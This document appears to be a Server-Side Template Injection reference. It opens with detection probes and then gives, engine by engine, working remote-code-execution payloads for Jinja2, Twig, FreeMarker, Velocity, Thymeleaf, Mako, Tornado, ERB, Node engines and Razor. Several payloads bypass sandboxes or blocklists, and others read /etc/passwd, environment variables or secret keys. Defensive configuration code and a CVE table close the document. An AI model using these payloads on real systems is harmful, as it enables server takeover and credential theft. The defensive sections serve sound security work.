Server-Side Template Injection (SSTI) occurs when user input is concatenated into a template that the server evaluates, letting an attacker reach arbitrary expressions and usually remote code execution. Detect SSTI by sending a polyglot like ${{<%[%'"}}%\ then identify the engine with the divergence test {{7*'7'}} (Jinja → 7777777, Twig → 49). Exploit via engine-specific gadgets — Jinja2 globals, Twig filter callbacks, FreeMarker ?new(), Velocity classloader, ERB system().
After confirming the engine, focus on sandbox-escape gadgets that survive blocklists (lipsum/cycler globals, callback-accepting filters, JythonRuntime, ProcessBuilder reflection) and check email-template, report-builder and notification surfaces — these are where modern SSTI keeps surfacing in 2024–2026 CVEs.
Universal detection probes plus per-engine discriminators. Send the polyglot first to trigger parser errors; then use math probes to determine syntax family and the divergence test to disambiguate Jinja2 from Twig.
${{<%[%'"}}%\PortSwigger's canonical polyglot triggers parse errors in nearly every templating engine — the resulting stack trace usually leaks the engine class name (jinja2.exceptions, Twig\Error\SyntaxError, freemarker.core.ParseException).
a{{bar}}bOWASP WSTG 4.7.18 probe — engines that evaluate {{bar}} return ab; engines that don't return the literal string. Cheap detection that does not depend on errors.
{{7*7}}Returning 49 confirms the engine evaluates expressions in {{ }} delimiters: Jinja2, Twig, Tornado, Handlebars-with-helpers, Mustache (no), Liquid (yes via filter).
${7*7}Returning 49 indicates a JVM/Mako-style engine: FreeMarker, Velocity (via #set), Mako, Spring SpEL/Thymeleaf.
{{7*'7'}}Jinja2 evaluates this to 7777777 (Python string repetition); Twig evaluates it to 49 (PHP coerces '7' to int). One of the most reliable two-engine disambiguators.
{$smarty.version}Reflects the Smarty version literally — fingerprint and indicates Smarty engine without triggering errors.
#set($x=7*7)$x
Velocity uses #set directives instead of {{ }}. Returning 49 confirms Apache Velocity or a Velocity-derived engine.
{{handler.settings}}Reflects the Tornado application settings dict (often containing cookie_secret) — both fingerprints Tornado and yields a high-value secret.
Jinja2 in Flask defaults to an unsandboxed Environment. RCE is reached by walking Python's class hierarchy from a string literal up to subclasses that import os, or via Flask globals (request, config, lipsum, cycler, namespace) that already carry __globals__.
{{config.items()}}Flask's config object reflects every key including SECRET_KEY — useful for session forgery without RCE.
{{lipsum.__globals__['os'].popen('id').read()}}lipsum is a Flask-provided global whose __globals__ already contains os — bypasses blocklists that ban subclass walks but allow attribute access.
{{cycler.__init__.__globals__.os.popen('id').read()}}cycler is another Jinja2 global with os reachable in its __init__'s __globals__. Equivalent power to lipsum, useful when one is filtered.
{{namespace.__init__.__globals__.os.popen('id').read()}}Jinja2's namespace() helper exposes the same os import in its __init__.__globals__ — fallback when lipsum/cycler are blocked.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}When request is in scope, request.application.__globals__ leads to __builtins__ and __import__ — works whenever a Flask request context renders the template.
{{''.__class__.__mro__[1].__subclasses__()}}Walks the MRO of str up to object then enumerates every subclass — reveals indices for Popen/file/os._wrap_close that you then call to execute commands.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}Hex-escaping underscores in the |attr() filter bypasses naive blocklists for "_" / "__" while still reaching builtins.__import__.
{% for x in ().__class__.__base__.__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}Iterates subclasses to locate the catch_warnings entry, whose ._module exposes builtins — engine-agnostic to subclass index changes between Python versions.
Twig's sandbox is optional and has been bypassed repeatedly via callback-accepting filters (map, reduce, filter, sort) plus constant() and string-callable invocation. CVE-2024-45411 and CVE-2024-28119 (Grav) are the modern reference points.
{{_self}}Reflects the current template name — confirms Twig and exposes the path used in pre-2.x _self.env.registerUndefinedFilterCallback chains.
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}Pre-2.x Twig let you register exec as the undefined-filter handler, then trigger it by calling an undefined filter named after your command — the original Kettle-era Twig RCE.
{{['id']|filter('system')}}The filter() filter accepts a string callable in Twig 1.x+. PHP's system() executes the array element as a shell command.
{{['id']|map('system')|join}}map() applies a string-named PHP function to each element — bypasses sandbox configurations that allowlist filter() but forget map().
{{['cat /etc/passwd']|sort('system')|join}}sort()'s comparison callback is invoked with array elements as arguments — passing system as the comparator runs the element string in a shell.
{{ ['id']|reduce('system') }}reduce() exposes another string-callable surface; this is the bypass class fixed in CVE-2024-45411 against Twig's SandboxExtension.
{{ {'a':'cat /etc/passwd'}|filter(constant('system')) }}constant() resolves a constant name to its value but PHP also accepts function names as constants here — getting system into the callback indirectly.
{{ "system"("id") }}Twig 1.x permitted calling a string as a function — direct system("id") if the sandbox is off or string-call is whitelisted.
JVM template engines reach RCE via reflective class instantiation: FreeMarker's ?new() builtin, Velocity's $class.forName, and Thymeleaf's SpEL escape with __${...}__ syntax.
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}FreeMarker's ?new() builtin instantiates the named class. Execute is a built-in utility that runs a shell command — the original Kettle FreeMarker RCE.
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"]).start()}When Execute is blocked but ObjectConstructor is allowed, instantiate ProcessBuilder reflectively and call .start() — equivalent RCE.
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("import os; os.system('id')")}Final fallback when both Execute and ObjectConstructor are blocklisted — JythonRuntime evaluates Python source if Jython is on the classpath.
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")Velocity's ClassTool ($class) reflects on Runtime then calls getRuntime().exec — works against legacy Confluence-era apps where ClassTool is exposed.
#set($x = '')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($ex = $rt.getRuntime().exec('id'))##
$ex.waitFor()Bypasses ClassTool absence by walking from any object's .class to forName('java.lang.Runtime'); waitFor() forces synchronous execution.
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.xThymeleaf's __${ }__::.x syntax forces evaluation as a Spring SpEL expression — T() invokes the Type accessor to reach Runtime even when the expression context appears restricted.
${.data_model?keys}Lists every bean exposed to the template — prerequisite reconnaissance for finding helpers that already grant filesystem or network access.
Mako and Tornado are unsandboxed Python templating engines used in Pyramid/Pylons (Mako) and Tornado web stacks. Both expose os/subprocess directly through import statements inside the template.
<%
import os
x = os.popen('id').read()
%>${x}Mako's <% %> blocks execute arbitrary Python at render time — direct RCE without any sandbox bypass.
${self.module.cache.util.os.system("id")}Mako exposes os via its internal cache utilities; useful when <% %> blocks are stripped but ${...} expression mode is allowed.
${"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}Same Python class-hierarchy walk as Jinja2 but inside a Mako ${} expression — the subclass index targets the file class.
{% import os %}{{os.popen('id').read()}}Tornado templates accept Python {% import %} directives by default — instant os access.
{% import subprocess %}{{subprocess.check_output('id', shell=True)}}Equivalent to the os import path; subprocess.check_output captures stdout for reflection-based exfil.
{{handler.settings}}Dumps Tornado application settings — typically contains cookie_secret which is enough for forging signed sessions even without RCE.
Ruby template engines are unsandboxed by design — ERB literally executes Ruby between <% %> tags. RCE is one system() call away once injection is confirmed.
<%= system("id") %>system() runs a shell command and returns true/false; the boolean reflects in the response, which is enough to confirm execution.
<%= `id` %>
Backticks return stdout as a string — gives both confirmation and exfil in a single payload.
<%= IO.popen('id').read %>IO.popen avoids backticks if they're filtered; .read collects stdout for reflection-based exfil.
<%= File.open('/etc/passwd').read %>When a server-side filter blocks shell calls, fall back to File.open for direct filesystem disclosure.
<%= require 'open3'; Open3.capture2('id')[0] %>Open3 returns [stdout, stderr, status]; capture2 captures stdout — a more controlled alternative to backticks.
<%= Kernel.exec("id") %>Kernel.exec replaces the current process — useful as a destructive proof when stealth is unnecessary.
<%= ENV.to_h %>
Twelve-factor Ruby apps store DB credentials and API keys in env vars — ENV.to_h dumps the whole table for credential pivot without needing RCE.
Handlebars is logic-less by design but reachable via the constructor walk; Pug and EJS are unsandboxed and reach require('child_process') through global.process.mainModule.
#{global.process.mainModule.require('child_process').execSync('id').toString()}global.process.mainModule.require bypasses any local require shadowing because mainModule is reachable from the global object.
- var x = global.process.mainModule.require('child_process').execSync('id'); = xPug allows arbitrary JS in - var lines; assigns the command output to a variable then renders it on the next line.
<%- global.process.mainModule.require('child_process').execSync('id') %>EJS uses <%- %> for unescaped output; combined with the same mainModule trick yields direct RCE.
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}Walks Handlebars helpers + lookup + each to reconstruct a Function constructor and invoke it with require('child_process') — works when noEscape is enabled or default helpers are unpinned.
<%# settings.view options.escapeFunction abuse %>
EJS exposes options.escapeFunction at render time — controlling it (via prototype pollution chain) yields code execution on every escape call. Often paired with a JSON-merge bug elsewhere in the app.
Razor compiles to C# so any expression yields code execution once injection is confirmed — usually requires a writable view path. Go html/template is sandboxed by stdlib design and only reaches RCE through custom funcs.
@{ var p = System.Diagnostics.Process.Start("cmd.exe","/c whoami"); }Razor @{ } executes arbitrary C#. Process.Start invokes cmd.exe — Windows-equivalent of Runtime.exec.
@System.Diagnostics.Process.Start("cmd","/c whoami").StandardOutput.ReadToEnd()Captures stdout for reflection — useful when the @{ } block runs but its return value isn't rendered.
@System.IO.File.ReadAllText("C:\\Windows\\win.ini")When Process.Start is sandboxed, File.ReadAllText still confirms code execution and reads sensitive files.
{{.}}Renders the entire context object — may leak sensitive struct fields even though Go html/template is RCE-safe by default.
{{call .Func "id"}}Go templates only reach RCE if a custom FuncMap exposes os/exec. {{call .Func "id"}} invokes a developer-registered helper with the supplied argument.
When _ and __ are blocklisted, Flask globals lipsum, cycler, namespace and request.application all carry __globals__ pointing at modules where os is already imported. Combine with |attr() and \x5f hex-escapes to bypass underscore filters.
{{lipsum.__globals__['os'].popen('id').read()}}Twig's SandboxExtension historically allowlisted filter()/map()/reduce()/sort() but each accepts a string-named PHP function as a callback. Combine with constant() to reach system() even when the function name is denylisted.
{{ ['id']|reduce('system') }}When freemarker.template.utility.Execute is blocklisted, ObjectConstructor?new() builds java.lang.ProcessBuilder reflectively, and JythonRuntime?new() evaluates Python source if Jython is on the classpath.
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"]).start()}Thymeleaf's preprocessing __${ }__ markers force the inner expression through Spring Expression Language, where T(java.lang.Runtime) reaches getRuntime().exec — bypasses naive expression-context restrictions.
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.xHandlebars is logic-less, but {{#with "constructor"}} chained with lookup and each rebuilds a Function constructor — RCE without an expression evaluator. Triggered when noEscape is on or default helpers aren't pinned.
Local require may be shadowed, but global.process.mainModule.require is always reachable from the global object and returns Node's real require — instant child_process access.
#{global.process.mainModule.require('child_process').execSync('id').toString()}Modern Jinja2 SSTI keeps surfacing in *notification body* templates (Fides, changedetection.io) and *report/recipe* fields (Tactical RMM, Tandoor) where developers pass user-controlled strings to Environment.from_string() without sandboxing.
The only fully reliable defense is to treat template source as code and never accept it from users. When templating is unavoidable, pick a logic-less engine (Mustache, Liquid, pre-compiled Handlebars partials) where there is no expression evaluator to abuse.
// GOOD — Mustache is logic-less by design; no expressions, no RCE primitive
const Mustache = require('mustache');
const html = Mustache.render('Hello {{name}}!', { name: userInput });
// BAD — Handlebars with default helpers + noEscape allows constructor walk
const Handlebars = require('handlebars');
const tpl = Handlebars.compile(userTemplate, { noEscape: true });Use SandboxedEnvironment (or ImmutableSandboxedEnvironment) and never call Environment.from_string with user input. Pin autoescape=True. Pass user data as context variables, never as part of the template source.
from jinja2 import Environment, FileSystemLoader, select_autoescape
from jinja2.sandbox import ImmutableSandboxedEnvironment
# GOOD — sandboxed environment + file loader + autoescape
env = ImmutableSandboxedEnvironment(
loader=FileSystemLoader('templates/'),
autoescape=select_autoescape(['html', 'xml']),
)
template = env.get_template('email.html')
rendered = template.render(name=user_name, body=user_body)
# BAD — feeds user input straight into Environment.from_string
env = Environment()
template = env.from_string(user_template_source) # SSTI, RCEWrap user-rendered templates with SandboxExtension + SecurityPolicy enumerating allowed tags, filters and functions. Never call Environment::createTemplate on a string sourced from user input. Explicitly drop callback-accepting filters.
<?php
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;
$tags = ['if', 'for'];
$filters = ['escape', 'upper', 'lower', 'date']; // NO map/filter/reduce/sort
$methods = [];
$properties = [];
$functions = ['range'];
$policy = new SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new SandboxExtension($policy, true); // sandbox-by-default
$twig = new Environment(new ArrayLoader(['user' => $userTemplateSource]));
$twig->addExtension($sandbox);
echo $twig->render('user', ['name' => $name]);Set the new-builtin class resolver to SAFER_RESOLVER and disable the api builtin. This blocks ?new() from instantiating Execute / ObjectConstructor / JythonRuntime — the canonical FreeMarker RCE primitives.
import freemarker.template.Configuration;
import freemarker.core.TemplateClassResolver;
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
cfg.setLogTemplateExceptions(false);
cfg.setWrapUncheckedExceptions(true);
// Render with bound model only — never concatenate user input into template source
Template tpl = cfg.getTemplate("email.ftlh");
tpl.process(model, writer);Pass user input as data to a fixed template, never as part of template source. render_template("page.html", name=user_name) is safe; render_template_string(user_data) is not.
# GOOD — fixed template, user value bound as context variable
return render_template('page.html', name=user_name, body=user_body)
# BAD — user content lands in template source
return render_template_string('Hello ' + user_name) # SSTI
return render_template_string(user_supplied_template) # SSTI
# BAD (Tactical RMM CVE-2025-69516 / Tandoor CVE-2025-23211 pattern)
env = Environment()
env.from_string(user_supplied_recipe).render() # SSTIFor high-risk surfaces (notification bodies, report builders, admin macros), render templates in a separate process or WASM worker with no filesystem and no network egress. Combined with a strict CSP and outbound allowlist, this blunts RCE-to-data-exfil even if a sandbox bypass lands.
| CVE | Year | Title | Description |
|---|---|---|---|
| CVE-2025-23211 | 2025 | Tandoor Recipes Jinja2 SSTI → RCE | Authenticated user injects Jinja2 in recipe text fields; Tandoor passes the string to Environment.from_string() without sandboxing, yielding arbitrary command execution as the recipe service user. |
| CVE-2025-69516 | 2025 | Tactical RMM Jinja2 SSTI via report templates | template_md parameter is rendered with Environment.from_string() and no sandbox; even low-priv "Report Viewer" users reach RCE on the RMM server. |
| CVE-2024-45411 | 2024 | Twig sandbox bypass via callback filters | Twig's SandboxExtension allowlisted filter/map/reduce/sort, each of which accepts a string-named PHP function as callback — letting attackers reach system() despite a configured sandbox. |
| CVE-2024-28119 | 2024 | Grav CMS Twig escape-handler SSTI | Grav's admin-area Twig integration mishandled the escape handler context, letting authenticated authors break out of autoescape and reach Twig RCE. |
| CVE-2024-24724 | 2024 | Gibbon LMS authenticated Twig SSTI | Gibbon LMS ≤ 26.0.0 allowed authenticated users to inject Twig in template parameters, yielding remote code execution on the school management server. |
| GHSA-4r7v-whpg-8rx3 | 2024 | changedetection.io Jinja2 SSTI in notification templates | Notification body templates were rendered server-side with a non-sandboxed Jinja2 environment — a recurring 2024–2025 pattern of SSTI moving from page templates to notification surfaces. |
| GHSA-c34r-238x-f7qx | 2024 | Ethyca Fides email-template Jinja2 SSTI | Fides webserver exposed Jinja2 to admin-controlled email-templating bodies, allowing RCE through the privacy notification engine. |